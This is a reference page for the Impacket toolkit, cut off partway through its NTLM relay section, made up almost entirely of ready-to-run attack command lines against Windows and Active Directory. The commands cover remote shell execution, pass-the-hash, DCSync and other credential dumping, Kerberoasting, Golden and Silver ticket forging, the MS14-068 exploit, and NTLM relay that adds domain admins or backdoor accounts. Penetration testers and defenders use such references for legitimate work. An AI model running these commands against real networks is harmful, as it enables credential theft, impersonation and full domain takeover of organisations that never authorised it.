ᛉ Yggdrasil

Tool references

Impacket Wiki

17 Sep 2026 · 7,574 words · 34 min

Contents

Maintainer: Fortra / Core Security
Repo: https://github.com/fortra/impacket
Current Stable: v0.13.0 | Dev: v0.14.0-dev
License: Apache Software License (modified)

Overview & Protocols

Impacket provides Python implementations for working with network protocols at a packet level. It ships with a large set of example scripts covering offensive and defensive security tasks across SMB, Kerberos, RPC, LDAP, MSSQL, and more.

Supported protocols:

Layer Protocols
Network Ethernet, IP, TCP, UDP, ICMP, IGMP, ARP, IPv4/IPv6
File/Auth NMB, SMB1/2/3, MSRPC v5 over TCP/SMB/HTTP
Authentication Plain, NTLM (PtH), Kerberos (password/hash/ticket/key)
MSRPC Interfaces EPM, LSAD, LSAT, NRPC, RRP, SAMR, SRVS, WKST, SCMR, TSCH, DCOM, WMI
Other TDS (MSSQL), LDAP (partial)

Installation

# Stable via pipx (recommended)
python3 -m pipx install impacket

# Kali Linux
sudo apt install python3-impacket impacket-scripts

# From source (dev branch)
git clone https://github.com/fortra/impacket && cd impacket
python3 -m pipx install .

# Docker
docker build -t "impacket:latest" .
docker run -it --rm "impacket:latest"

Universal Authentication Flags

Almost every Impacket script accepts these shared flags:

Flag Description
domain/user:pass@target Cleartext credentials in the target string
-hashes LMHASH:NTHASH Pass-the-Hash — use :NTHASH with empty LM
-no-pass No password prompt (use with -k)
-k Kerberos auth from KRB5CCNAME env var
-aesKey HEXKEY Kerberos AES-128 or AES-256 key
-keytab FILE Read Kerberos keys from keytab file
-dc-ip IP Domain Controller IP
-target-ip IP Target machine IP (when name won't resolve)
-ts Add timestamp to every log line
-debug Enable verbose debug output

Standard target format:

[[domain/]username[:password]@]<targetName or IP>

Remote Execution Scripts

psexec

Description: PSEXEC-like remote execution using RemComSvc. Copies a service binary to the target via ADMIN$, registers a Windows service, executes commands, and returns output. Runs as SYSTEM. Noisy — creates a service and writes a binary to disk.

# Interactive cmd.exe shell
impacket-psexec domain/admin:pass@target_ip

# Single command
impacket-psexec domain/admin:pass@target_ip whoami

# Pass-the-Hash
impacket-psexec -hashes :NTHash domain/admin@target_ip

# Kerberos
impacket-psexec -k -no-pass domain/admin@target.domain.local

# Upload and execute a custom binary
impacket-psexec domain/admin:pass@target_ip -c /tmp/payload.exe

# Launch PowerShell
impacket-psexec domain/admin:pass@target_ip powershell.exe

# Custom service name (evasion)
impacket-psexec domain/admin:pass@target_ip -service-name MySvc123

# Custom remote binary name
impacket-psexec domain/admin:pass@target_ip -remote-binary-name update.exe

# Non-standard SMB port
impacket-psexec domain/admin:pass@target_ip -port 445

Key flags:

Flag Description
-c pathname Upload file for execution
-path PATH Path of command to execute
-file FILE Alternative RemCom binary
-service-name NAME Name of the created Windows service
-remote-binary-name NAME Filename of the uploaded executable
-port PORT Target SMB port (default: 445)

smbexec

Description: PSEXEC alternative without RemComSvc. Uses the Service Control Manager to execute commands via a batch file. In SERVER mode, spawns a local SMB server to capture output — useful when the target has no writable share.

# Interactive shell
impacket-smbexec domain/admin:pass@target_ip

# Pass-the-Hash
impacket-smbexec -hashes :NTHash domain/admin@target_ip

# Kerberos
impacket-smbexec -k -no-pass domain/admin@target.domain.local

# SERVER mode (local SMB receives output — requires root/port 445)
impacket-smbexec domain/admin:pass@target_ip -mode SERVER

# PowerShell shell type
impacket-smbexec domain/admin:pass@target_ip -shell-type powershell

# Custom output share
impacket-smbexec domain/admin:pass@target_ip -share C$

# Custom service name
impacket-smbexec domain/admin:pass@target_ip -service-name updater

Key flags:

Flag Description
-share SHARE Output share (default: C$)
-mode {SHARE,SERVER} SHARE uses existing share; SERVER spawns local SMB
-shell-type {cmd,powershell} Shell type
-service-name NAME Service name used for execution

wmiexec

Description: Semi-interactive shell via Windows Management Instrumentation (WMI/DCOM). Runs as the authenticated user (not SYSTEM). No binaries dropped, no services created — the stealthiest execution method. Requires DCOM access (port 135 + high ports).

# Interactive shell
impacket-wmiexec domain/admin:pass@target_ip

# Single command
impacket-wmiexec domain/admin:pass@target_ip "ipconfig /all"

# Pass-the-Hash
impacket-wmiexec -hashes :NTHash domain/admin@target_ip

# Kerberos
impacket-wmiexec -k -no-pass domain/admin@target.domain.local

# PowerShell shell
impacket-wmiexec domain/admin:pass@target_ip -shell-type powershell

# No output (fire-and-forget)
impacket-wmiexec domain/admin:pass@target_ip -nooutput "net user hacker P@ss /add /domain"

# Silent command (no cmd.exe wrapping)
impacket-wmiexec domain/admin:pass@target_ip -silentcommand "notepad.exe"

# Alternative DCOM version
impacket-wmiexec domain/admin:pass@target_ip -com-version 5.7

Key flags:

Flag Description
-share SHARE Output share (default: ADMIN$)
-nooutput Don't print output (no SMB connection created)
-silentcommand Don't wrap in cmd.exe
-shell-type {cmd,powershell} Shell type
-com-version MAJOR:MINOR DCOM version (e.g., 5.7)

dcomexec

Description: Semi-interactive shell via DCOM using multiple COM object endpoints: ShellWindows, ShellBrowserWindow, or MMC20.Application. Similar to wmiexec but targets different DCOM interfaces.

# Interactive shell (default: ShellWindows)
impacket-dcomexec domain/admin:pass@target_ip

# Use MMC20 COM object
impacket-dcomexec domain/admin:pass@target_ip -object MMC20

# Use ShellBrowserWindow object
impacket-dcomexec domain/admin:pass@target_ip -object ShellBrowserWindow

# Single command (no output)
impacket-dcomexec domain/admin:pass@target_ip "whoami" -nooutput

# Pass-the-Hash
impacket-dcomexec -hashes :NTHash domain/admin@target_ip

# PowerShell shell
impacket-dcomexec domain/admin:pass@target_ip -shell-type powershell

# Silent command (no cmd.exe wrapper)
impacket-dcomexec domain/admin:pass@target_ip -silentcommand "calc.exe"

Key flags:

Flag Description
-object {ShellWindows,ShellBrowserWindow,MMC20} DCOM endpoint (default: ShellWindows)
-share SHARE Output share
-nooutput No output, no SMB connection
-silentcommand No cmd.exe wrapping
-com-version MAJOR:MINOR DCOM version

atexec

Description: Executes a single command on the target via the Task Scheduler (TSCH / AT service). Returns the output of the executed command. Single-shot only — not an interactive shell.

# Execute a command
impacket-atexec domain/admin:pass@target_ip "whoami"

# Pass-the-Hash
impacket-atexec -hashes :NTHash domain/admin@target_ip "ipconfig"

# Kerberos
impacket-atexec -k -no-pass domain/admin@target.domain.local "net user"

# Use an existing logon session (no output, no cmd.exe)
impacket-atexec domain/admin:pass@target_ip -session-id 3 "notepad.exe"

# Silent (no cmd.exe wrapper)
impacket-atexec domain/admin:pass@target_ip -silentcommand "calc.exe"

# Fix encoding issues
impacket-atexec domain/admin:pass@target_ip -codec cp437 "dir"

Key flags:

Flag Description
-session-id ID Use existing logon session (no output)
-silentcommand No cmd.exe wrapping
-codec CODEC Output encoding (default: utf-8)

Credential Dumping

secretsdump

Description: Dumps credentials and secrets from a remote or local machine without installing any agent. Covers NTLM hashes, Kerberos keys, LSA secrets, DPAPI keys, and cached credentials. Methods include DRSUAPI (DCSync), VSS, and Kerb-Key-List.

# Full DCSync — dumps everything from a DC (domain admin required)
impacket-secretsdump domain/admin:pass@DC_IP

# Only NTLM hashes from NTDS.DIT
impacket-secretsdump domain/admin:pass@DC_IP -just-dc-ntlm

# NTLM hashes + Kerberos keys from NTDS
impacket-secretsdump domain/admin:pass@DC_IP -just-dc

# Single user from NTDS
impacket-secretsdump domain/admin:pass@DC_IP -just-dc-user krbtgt
impacket-secretsdump domain/admin:pass@DC_IP -just-dc-user Administrator

# LDAP filter for specific users/OUs
impacket-secretsdump domain/admin:pass@DC_IP \
  -just-dc -ldapfilter "(&(objectClass=user)(department=Finance))"

# Dump non-DC machine (SAM + LSA secrets)
impacket-secretsdump domain/admin:pass@member_server_ip

# Pass-the-Hash
impacket-secretsdump -hashes :NTHash domain/admin@DC_IP -just-dc-ntlm

# Kerberos ticket
impacket-secretsdump -k -no-pass domain/admin@dc.domain.local -just-dc

# Output to files (.sam, .secrets, .ntds, .cached)
impacket-secretsdump domain/admin:pass@DC_IP -outputfile /tmp/dump

# VSS method (volume shadow copy — slower but safer)
impacket-secretsdump domain/admin:pass@DC_IP -use-vss

# Remote Shadow Snapshot via WMI
impacket-secretsdump domain/admin:pass@DC_IP -use-remoteSSWMI

# Also dump NTDS with remote WMI shadow snapshot
impacket-secretsdump domain/admin:pass@DC_IP \
  -use-remoteSSWMI -use-remoteSSWMI-NTDS

# Include password history + old LSA secrets
impacket-secretsdump domain/admin:pass@DC_IP -history

# Show password last set + account enabled/disabled status
impacket-secretsdump domain/admin:pass@DC_IP -pwd-last-set -user-status

# Skip SAM or SECURITY hive
impacket-secretsdump domain/admin:pass@target_ip -skip-sam
impacket-secretsdump domain/admin:pass@target_ip -skip-security

# Offline: parse local hive files
impacket-secretsdump -system /path/SYSTEM -sam /path/SAM LOCAL
impacket-secretsdump -system /path/SYSTEM -security /path/SECURITY LOCAL
impacket-secretsdump -system /path/SYSTEM -ntds /path/ntds.dit LOCAL

# Kerb-Key-List method (RODC abuse)
impacket-secretsdump domain/admin:pass@DC_IP \
  -use-keylist -rodcNo 1 -rodcKey <AES_KEY_HEX>

# Resume an interrupted NTDS dump
impacket-secretsdump domain/admin:pass@DC_IP -resumefile /tmp/resume.txt

Key flags:

Flag Description
-just-dc Only NTDS.DIT data (hashes + Kerberos keys)
-just-dc-ntlm Only NTLM hashes from NTDS
-just-dc-user USER Single user from NTDS
-ldapfilter FILTER LDAP filter to scope NTDS dump
-outputfile FILE Write to files with extensions
-use-vss Use NTDSUTIL/VSS method
-use-remoteSSWMI Remote shadow snapshot via WMI
-use-keylist Kerb-Key-List method (RODC)
-rodcNo N RODC krbtgt account number
-rodcKey HEX AES key of the RODC
-history Include password history + old LSA secrets
-pwd-last-set Include pwdLastSet attribute
-user-status Show enabled/disabled status
-skip-sam Skip SAM hive
-skip-security Skip SECURITY hive
-resumefile FILE Resume NTDS dump
-exec-method smbexec, wmiexec, or mmcexec (for VSS)

mimikatz

Description: Mini shell to control a remote mimikatz RPC server (by @gentilkiwi). Allows running mimikatz commands remotely over SMB.

Requires gentilkiwi's mimikatz RPC server to be pre-deployed on the target.

# Connect to remote mimikatz server
impacket-mimikatz domain/admin:pass@target_ip

# With specific DC and target IPs
impacket-mimikatz -dc-ip DC_IP -target-ip target_ip domain/admin:pass

# Feed commands from file
impacket-mimikatz domain/admin:pass@target_ip -file /tmp/mimi_cmds.txt

# Pass-the-Hash
impacket-mimikatz -hashes :NTHash domain/admin@target_ip

Get-GPPPassword

Description: Finds and decrypts passwords stored in Group Policy Preferences (GPP) XML files on SYSVOL. Classic misconfiguration in older AD environments (MS14-025).

# Search all GPP XML files on SYSVOL
impacket-Get-GPPPassword domain/user:pass@DC_IP

# Specific SMB share
impacket-Get-GPPPassword domain/user:pass@DC_IP -share NETLOGON

# Parse a local XML file offline
impacket-Get-GPPPassword -xmlfile /path/to/Groups.xml LOCAL

# Custom base directory
impacket-Get-GPPPassword domain/user:pass@DC_IP -base-dir /Policies

# Pass-the-Hash
impacket-Get-GPPPassword -hashes :NTHash domain/user@DC_IP

# Kerberos
impacket-Get-GPPPassword -k -no-pass domain/user@DC_IP

GetLAPSPassword

Description: Reads LAPS (Local Administrator Password Solution) passwords from LDAP. Only shows passwords for machines the authenticated user can read.

# Dump all LAPS passwords
impacket-GetLAPSPassword domain/admin:pass -dc-ip DC_IP

# Target a specific computer
impacket-GetLAPSPassword domain/admin:pass -dc-ip DC_IP -computer WORKSTATION01

# Output to file
impacket-GetLAPSPassword domain/admin:pass -dc-ip DC_IP -outputfile laps.txt

# Use LDAPS (required on Windows Server 2025 with enforced LDAPS)
impacket-GetLAPSPassword domain/admin:pass -dc-ip DC_IP -ldaps

# Pass-the-Hash
impacket-GetLAPSPassword -hashes :NTHash domain/admin -dc-ip DC_IP

# Kerberos
impacket-GetLAPSPassword -k -no-pass domain/admin -dc-ip DC_IP

dpapi

Description: Decrypts Windows DPAPI (Data Protection API) secrets. Handles domain backup keys, master keys, credential files, vault credentials, and DPAPI-protected blobs.

# Dump domain backup key from a DC (Domain Admin required)
impacket-dpapi backupkeys -t domain/admin:pass@DC_IP

# Save backup key to disk
impacket-dpapi backupkeys -t domain/admin:pass@DC_IP --export

# Decrypt a masterkey using the domain backup key
impacket-dpapi masterkey -file /path/to/masterkey \
  -pvk /path/to/backupkey.pvk

# Decrypt masterkey using domain credentials (online)
impacket-dpapi masterkey -file /path/to/masterkey \
  -domain domain -dc-ip DC_IP -sid S-1-5-21-...

# Decrypt a credential file
impacket-dpapi credential -file /path/to/cred_file \
  -key <masterkey_hex>

# Decrypt a vault credential blob (.vcrd)
impacket-dpapi vault -vcrd /path/to/file.vcrd -key <masterkey_hex>

# Decrypt a generic DPAPI blob (CryptUnprotectData)
impacket-dpapi unprotect -file /path/to/blob -key <masterkey_hex>

# Dump CREDHIST file (past user credentials)
impacket-dpapi credhist -file /path/to/CREDHIST \
  -password old_password -sid S-1-5-21-...

keylistattack

Description: Implements the KERB-KEY-LIST-REQ attack — abuses Read-Only Domain Controllers (RODCs) or Azure AD Kerberos servers to dump user credentials without executing any agent on the DC.

# Attack all domain users
impacket-keylistattack domain/lowpriv:pass@RODC_IP \
  -rodcNo 1 -rodcKey <AES_KEY_HEX> -full

# Single target user
impacket-keylistattack domain/lowpriv:pass@RODC_IP \
  -rodcNo 1 -rodcKey <AES_KEY_HEX> -t targetUser

# Users from a file
impacket-keylistattack domain/lowpriv:pass@RODC_IP \
  -rodcNo 1 -rodcKey <AES_KEY_HEX> -tf users.txt

# Pass-the-Hash to SMB list domain users
impacket-keylistattack -hashes :NTHash domain/lowpriv@RODC_IP \
  -rodcNo 1 -rodcKey <AES_KEY_HEX>

# LIST mode (no SMB, specify KDC directly)
impacket-keylistattack LIST -domain domain.local -kdc DC_FQDN \
  -rodcNo 1 -rodcKey <AES_KEY_HEX> -t targetUser

AD Enumeration

GetADUsers

Description: Queries the domain via LDAP for user data including email addresses, last logon, and password last set timestamps.

# List users with email addresses
impacket-GetADUsers domain/user:pass -dc-ip DC_IP

# All users (including disabled and no-email accounts)
impacket-GetADUsers domain/user:pass -dc-ip DC_IP -all

# Specific user
impacket-GetADUsers domain/user:pass -dc-ip DC_IP -user john.doe

# Pass-the-Hash
impacket-GetADUsers -hashes :NTHash domain/user -dc-ip DC_IP -all

# Kerberos
impacket-GetADUsers -k -no-pass domain/user -dc-ip DC_IP -all

GetADComputers

Description: Queries the domain via LDAP for computer account data. Optionally resolves IPs.

# List all computers
impacket-GetADComputers domain/user:pass -dc-ip DC_IP

# Resolve IPs (nslookup via DC)
impacket-GetADComputers domain/user:pass -dc-ip DC_IP -resolveIP

# Specific computer
impacket-GetADComputers domain/user:pass -dc-ip DC_IP -user WORKSTATION01$

# Pass-the-Hash
impacket-GetADComputers -hashes :NTHash domain/user -dc-ip DC_IP -resolveIP

GetNPUsers

Description: ASREPRoasting — finds accounts with "Do not require Kerberos preauthentication" set and dumps their AS-REP hashes for offline cracking. Compatible with Hashcat and JtR.

# Find and list AS-REP roastable users (requires valid credentials)
impacket-GetNPUsers domain/user:pass -dc-ip DC_IP

# Request TGT hashes for all found users
impacket-GetNPUsers domain/user:pass -dc-ip DC_IP -request

# Save to file (hashcat format by default)
impacket-GetNPUsers domain/user:pass -dc-ip DC_IP \
  -request -outputfile /tmp/asrep.txt

# JtR format
impacket-GetNPUsers domain/user:pass -dc-ip DC_IP \
  -request -format john -outputfile /tmp/asrep_jtr.txt

# Test a username list WITHOUT credentials (no pre-auth needed)
impacket-GetNPUsers domain/ -usersfile users.txt -no-pass -dc-ip DC_IP

# Kerberos
impacket-GetNPUsers -k -no-pass domain/user -dc-ip DC_IP -request

GetUserSPNs

Description: Kerberoasting — finds Service Principal Names on user accounts and requests TGS tickets for offline cracking. Compatible with Hashcat and JtR.

# List all user SPNs (no request)
impacket-GetUserSPNs domain/user:pass -dc-ip DC_IP

# Request TGS hashes for all SPNs
impacket-GetUserSPNs domain/user:pass -dc-ip DC_IP -request

# Save to hashcat-compatible file
impacket-GetUserSPNs domain/user:pass -dc-ip DC_IP \
  -request -outputfile /tmp/tgs.txt

# Request for a specific user
impacket-GetUserSPNs domain/user:pass -dc-ip DC_IP -request-user svc_sql

# Request for a specific machine SPN
impacket-GetUserSPNs domain/user:pass -dc-ip DC_IP \
  -request-machine WORKSTATION01$

# Save TGS as per-user ccache files
impacket-GetUserSPNs domain/user:pass -dc-ip DC_IP -save

# Kerberoast across a trust
impacket-GetUserSPNs domain/user:pass -dc-ip DC_IP \
  -target-domain trusted.domain.local -request

# Stealth mode (remove (servicePrincipalName=*) from LDAP filter)
impacket-GetUserSPNs domain/user:pass -dc-ip DC_IP -stealth -request

# Machine accounts only
impacket-GetUserSPNs domain/user:pass -dc-ip DC_IP -machine-only -request

# Roast using an account without pre-auth (no credentials needed)
impacket-GetUserSPNs domain/ -dc-ip DC_IP \
  -no-preauth nopreauth_user -request

# Pass-the-Hash
impacket-GetUserSPNs -hashes :NTHash domain/user -dc-ip DC_IP -request

Key flags:

Flag Description
-request Request TGS tickets
-request-user USER Request TGS for specific user
-request-machine MACHINE$ Request TGS for machine SPN
-save Save each TGS as a ccache file
-outputfile FILE Write hashes to file
-target-domain DOMAIN Cross-trust Kerberoasting
-stealth Remove (servicePrincipalName=*) filter
-machine-only Query computer accounts only
-no-preauth USER Use AS-based TGS (no credentials)

findDelegation

Description: Lists all delegation relationships in the domain: unconstrained, constrained (KCD), and resource-based constrained (RBCD).

# Find all delegation settings
impacket-findDelegation domain/user:pass -dc-ip DC_IP

# Include disabled accounts
impacket-findDelegation domain/user:pass -dc-ip DC_IP -disabled

# Specific user or service account
impacket-findDelegation domain/user:pass -dc-ip DC_IP -user svc_iis

# Cross-trust delegation
impacket-findDelegation domain/user:pass -dc-ip DC_IP \
  -target-domain trusted.domain.local

# Pass-the-Hash
impacket-findDelegation -hashes :NTHash domain/user -dc-ip DC_IP

net

Description: SAMR RPC client providing net user, net group, net localgroup, and net computer equivalents via the SAMR protocol.

# List all domain users
impacket-net domain/user:pass@target_ip user

# List all domain computers
impacket-net domain/user:pass@target_ip computer

# List local groups on the target host
impacket-net domain/user:pass@target_ip localgroup

# List domain groups
impacket-net domain/user:pass@target_ip group

# Pass-the-Hash
impacket-net -hashes :NTHash domain/user@target_ip user

# Kerberos
impacket-net -k -no-pass domain/user@target.domain.local group

samrdump

Description: Downloads and displays the list of users from a target system via SAMR RPC. Optionally outputs CSV.

impacket-samrdump domain/user:pass@target_ip
impacket-samrdump domain/user:pass@target_ip -csv
impacket-samrdump -hashes :NTHash domain/user@target_ip
impacket-samrdump -k -no-pass domain/user@target.domain.local

lookupsid

Description: Brute-forces SIDs on a target via the LSA RPC interface to enumerate domain users, groups, and computers. Works with null sessions or authenticated access.

# Enumerate SIDs 0–4000 (default)
impacket-lookupsid domain/user:pass@target_ip

# Custom max RID
impacket-lookupsid domain/user:pass@target_ip 10000

# Null/anonymous session
impacket-lookupsid guest@target_ip -no-pass

# Enumerate Domain SIDs (forwards to DC)
impacket-lookupsid domain/user:pass@target_ip -domain-sids

# Pass-the-Hash
impacket-lookupsid -hashes :NTHash domain/user@target_ip

netview

Description: Enumerates logged-on users and active sessions across the domain by querying each host in a loop.

# Domain-wide sweep for all sessions
impacket-netview domain/user:pass

# Filter by specific user
impacket-netview domain/user:pass -user Administrator

# Target a specific host
impacket-netview domain/user:pass -target DC_IP

# Multiple targets from file
impacket-netview domain/user:pass -targets /tmp/hosts.txt

# Single run (no loop)
impacket-netview domain/user:pass -noloop

# Adjust delay between sweeps (default: 10 seconds)
impacket-netview domain/user:pass -delay 30

# Pass-the-Hash
impacket-netview -hashes :NTHash domain/user

DumpNTLMInfo

Description: Performs NTLM authentication handshake and parses the server's NTLM challenge info — revealing OS version, domain name, NetBIOS names, and more — without completing a full login.

# Via SMB (default)
impacket-DumpNTLMInfo target_ip

# Via RPC (port 135)
impacket-DumpNTLMInfo target_ip -port 135 -protocol RPC

# With specific target IP
impacket-DumpNTLMInfo hostname -target-ip 10.10.10.1

getArch

Description: Detects OS architecture (x86 or x64) of targets via an unauthenticated MSRPC feature. Works on Windows only (not Samba).

# Single target
impacket-getArch -target 10.10.10.1

# Multiple targets from file
impacket-getArch -targets /tmp/hosts.txt

# Custom timeout
impacket-getArch -targets /tmp/hosts.txt -timeout 5

machine_role

Description: Retrieves a host's AD role (DC, member server, workstation, standalone) and primary domain info via SAMR.

impacket-machine_role domain/user:pass@target_ip
impacket-machine_role -hashes :NTHash domain/user@target_ip
impacket-machine_role -k -no-pass domain/user@target.domain.local

Kerberos Scripts

getTGT

Description: Requests a Kerberos TGT (AS-REQ) and saves it as a .ccache file. Supports password, hash, and AES key authentication.

# With password
impacket-getTGT domain/user:pass -dc-ip DC_IP

# Pass-the-Hash (RC4/NTLM)
impacket-getTGT domain/user -hashes :NTHash -dc-ip DC_IP

# AES key
impacket-getTGT domain/user -aesKey <AES256_HEX> -dc-ip DC_IP

# Use existing ccache (renewal / just export)
impacket-getTGT domain/user -no-pass -k -dc-ip DC_IP

# Request a service ticket directly via AS-REQ (U2U or FAST)
impacket-getTGT domain/user:pass -dc-ip DC_IP \
  -service cifs/server.domain.local

# Use the resulting TGT
export KRB5CCNAME=user.ccache

getST

Description: Requests a Kerberos Service Ticket (TGS-REQ). Supports S4U2Self, S4U2Proxy (RBCD/KCD), U2U, ticket renewal, and DMSA. Saves as .ccache.

# Standard ST for a SPN (reads TGT from KRB5CCNAME)
impacket-getST domain/user:pass -spn cifs/target.domain.local -dc-ip DC_IP

# S4U2Self — impersonate a user as a service account
impacket-getST domain/svc$:pass -spn cifs/target.domain.local \
  -impersonate Administrator -dc-ip DC_IP

# S4U2Proxy via RBCD (after configuring msDS-AllowedToActOnBehalfOf)
export KRB5CCNAME=EVILPC$.ccache
impacket-getST domain/EVILPC$ -k -no-pass \
  -spn cifs/DC01.domain.local -impersonate Administrator -dc-ip DC_IP

# Force forwardable ticket (CVE-2020-17049 / bypass Kerberos-only KCD)
impacket-getST domain/svc:pass -spn cifs/target.domain.local \
  -impersonate Administrator -force-forwardable \
  -hashes :NTHash -aesKey <AES_KEY> -dc-ip DC_IP

# Alternate service name (ticket alteration)
impacket-getST domain/svc:pass -spn cifs/target.domain.local \
  -altservice http -dc-ip DC_IP

# S4U2Self only (skip S4U2Proxy)
impacket-getST domain/svc:pass -spn cifs/target.domain.local \
  -impersonate Administrator -self -dc-ip DC_IP

# Include additional forwardable ticket (for chained KCD)
impacket-getST domain/svc:pass -spn cifs/target.domain.local \
  -impersonate Administrator \
  -additional-ticket /tmp/forwardable.ccache -dc-ip DC_IP

# User-to-User ticket
impacket-getST domain/user:pass -spn cifs/target.domain.local \
  -u2u -dc-ip DC_IP

# DMSA (Dedicated Managed Service Accounts — BadSuccessor)
impacket-getST domain/user:pass -spn cifs/target.domain.local \
  -dmsa -dc-ip DC_IP

# Renew a TGT
impacket-getST domain/user -k -no-pass \
  -spn krbtgt/domain.local -renew -dc-ip DC_IP

# Use the resulting ST
export KRB5CCNAME=Administrator@cifs_target.ccache

Key flags:

Flag Description
-spn SPN Target SPN (e.g., cifs/dc01.domain.local)
-impersonate USER User to impersonate via S4U2Self
-altservice SERVICE Replace sname in ticket
-force-forwardable Force forwardable (CVE-2020-17049)
-self S4U2Self only, no S4U2Proxy
-u2u User-to-User ticket
-dmsa DMSA/BadSuccessor
-renew Renew TGT
-additional-ticket FILE Include forwardable ticket for S4U2Proxy

getPac

Description: Retrieves the PAC (Privilege Attribute Certificate) of a target user by requesting a TGT and TGS as a known user. Shows SID memberships and privileges.

impacket-getPac domain/admin:pass -targetUser john.doe -dc-ip DC_IP
impacket-getPac -hashes :NTHash domain/admin -targetUser Administrator -dc-ip DC_IP

ticketer

Description: Creates Golden Tickets (TGT) and Silver Tickets (TGS) from scratch, fully customizing PAC contents: group memberships, ExtraSids, duration, and more.

# Golden Ticket (requires krbtgt NT hash + domain SID)
impacket-ticketer \
  -nthash <KRBTGT_NTHASH> \
  -domain-sid S-1-5-21-... \
  -domain domain.local \
  Administrator

# Golden Ticket using AES key (more opsec)
impacket-ticketer \
  -aesKey <KRBTGT_AES256_HEX> \
  -domain-sid S-1-5-21-... \
  -domain domain.local \
  Administrator

# Silver Ticket (for a specific service)
impacket-ticketer \
  -nthash <SERVICE_ACCOUNT_NTHASH> \
  -domain-sid S-1-5-21-... \
  -domain domain.local \
  -spn cifs/target.domain.local \
  Administrator

# Inter-realm / cross-domain Golden Ticket (child → forest root)
impacket-ticketer \
  -nthash <TRUST_KEY_NTHASH> \
  -domain-sid S-1-5-21-<CHILD_DOMAIN_SID> \
  -domain child.domain.local \
  -extra-sid S-1-5-21-<FOREST_ROOT_SID>-519 \
  Administrator

# Custom ticket duration (default: 10 years)
impacket-ticketer \
  -nthash <KRBTGT_NTHASH> \
  -domain-sid S-1-5-21-... \
  -domain domain.local \
  -duration 1 \
  Administrator

# Custom user RID (default: 500)
impacket-ticketer \
  -nthash <KRBTGT_NTHASH> \
  -domain-sid S-1-5-21-... \
  -domain domain.local \
  -user-id 1337 \
  fakeadmin

# Use the ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass domain/Administrator@dc.domain.local

ticketConverter

Description: Converts Kerberos ticket formats between .ccache (Linux/Impacket) and .kirbi (Windows/Mimikatz).

# .kirbi → .ccache
impacket-ticketConverter ticket.kirbi ticket.ccache

# .ccache → .kirbi
impacket-ticketConverter ticket.ccache ticket.kirbi

describeTicket

Description: Parses and displays the full contents of a Kerberos .ccache ticket. Can decrypt the enc-part if supplied service account credentials or keys. Also supports UnPAC-the-Hash via --asrep-key.

# Parse ticket (enc-part not decrypted)
impacket-describeTicket ticket.ccache

# Decrypt enc-part with service account password
impacket-describeTicket ticket.ccache \
  -p 'ServicePassword' -u svc_iis -d domain.local

# Decrypt with NT hash (RC4)
impacket-describeTicket ticket.ccache --rc4 <NT_HASH>

# Decrypt with AES key
impacket-describeTicket ticket.ccache --aes <AES_KEY_HEX>

# UnPAC-the-Hash (extract NTLM from PKINIT AS-REP PAC Credentials)
impacket-describeTicket ticket.ccache --asrep-key <AS_REPLY_KEY_HEX>

raiseChild

Description: Automates child-domain to forest-level privilege escalation using Golden Tickets with ExtraSids to compromise the forest root domain.

# Full escalation from child domain DA, then PSEXECs forest root DC
impacket-raiseChild child.domain.local/childadmin:pass

# Escalate and land on forest root DC
impacket-raiseChild child.domain.local/childadmin:pass \
  -target-exec DC.rootdomain.local

# Save golden ticket only (no exec)
impacket-raiseChild child.domain.local/childadmin:pass -w /tmp/golden.ccache

# Target a specific user RID (default: 500)
impacket-raiseChild child.domain.local/childadmin:pass -targetRID 1104

goldenPac

Description: Exploit for MS14-068 — forges a PAC with Domain Admin memberships using a low-privileged user, then PSEXECs the target or saves the ticket.

# Exploit and get PSEXEC shell
impacket-goldenPac domain/user:pass@DC_FQDN

# Save ticket without executing
impacket-goldenPac domain/user:pass@DC_FQDN -w /tmp/ms14068.ccache None

# Specify DC IP and target separately
impacket-goldenPac domain/user:pass@DC_FQDN -dc-ip DC_IP -target-ip DC_IP

# Upload and execute payload
impacket-goldenPac domain/user:pass@DC_FQDN -c /tmp/payload.exe

# Pass-the-Hash
impacket-goldenPac -hashes :NTHash domain/user@DC_FQDN

NTLM Relay & Spoofing

ntlmrelayx

Description: Comprehensive NTLM relay framework. Listens for SMB, HTTP, WCF, WinRM, and RAW authentication, then relays to SMB, LDAP, MSSQL, IMAP, SMTP, AD CS, and more.

# ── Basic Relay ────────────────────────────────────────────────────────────
# Relay to single SMB target (auto-dump SAM)
impacket-ntlmrelayx -t smb://10.10.10.10 -smb2support

# Relay to multiple targets from file
impacket-ntlmrelayx -tf targets.txt -smb2support

# Execute command on relay success
impacket-ntlmrelayx -tf targets.txt -smb2support \
  -c "net user hacker P@ss123 /add /domain"

# Execute a local payload on the relayed target
impacket-ntlmrelayx -t smb://10.10.10.10 -smb2support -e /tmp/shell.exe

# ── SOCKS Proxy Mode ───────────────────────────────────────────────────────
# Relay credentials into a persistent SOCKS proxy
impacket-ntlmrelayx -tf targets.txt -smb2support -socks
# After capture: type "socks" to list sessions
# Use with: proxychains impacket-secretsdump domain/user@target -no-pass

# ── Interactive Mode (local console port) ─────────────────────────────────
impacket-ntlmrelayx -t smb://10.10.10.10 -smb2support -i

# ── LDAP Relay ────────────────────────────────────────────────────────────
# Relay to LDAP — auto-adds a Domain Admin
impacket-ntlmrelayx -t ldap://DC_IP -smb2support

# Relay to LDAPS
impacket-ntlmrelayx -t ldaps://DC_IP -smb2support

# Only dump LDAP data, don't add DA
impacket-ntlmrelayx -t ldap://DC_IP -smb2support --no-da

# Dump LAPS passwords from LDAP
impacket-ntlmrelayx -t ldap://DC_IP -smb2support --dump-laps

# Dump gMSA passwords
impacket-ntlmrelayx -t ldap://DC_IP -smb2support --dump-gmsa

# Dump ADCS enrollment info
impacket-ntlmrelayx -t ldap://DC_IP -smb2support --dump-adcs

# RBCD: delegate relayed computer account to attacker
impacket-ntlmrelayx -t ldap://DC_IP -smb2support --delegate-access

# Escalate a specific existing user (no new DA creation)
impacket-ntlmrelayx -t ldap://DC_IP -smb2support \
  --escalate-user lowPrivUser

# Add DNS record via LDAP relay
impacket-ntlmrelayx -t ldap://DC_IP -smb2support \
  --add-dns-record evilhost 10.10.10.99

# Add a machine account via LDAP relay
impacket-ntlmrelayx -t ldap://DC_IP -smb2support \
  --add-computer EVILPC$ 'Password123!'

# Shadow credentials attack via relay (msDS-KeyCredentialLink)
impacket-ntlmrelayx -t ldap://DC_IP -smb2support \
  --shadow-credentials --shadow-target targetUser

# ── AD CS Relay (ESC8) ─────────────────────────────────────────────────────
# Relay to ADCS web enrollment (certsrv)
impacket-ntlmrelayx \
  -t https://CA_IP/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

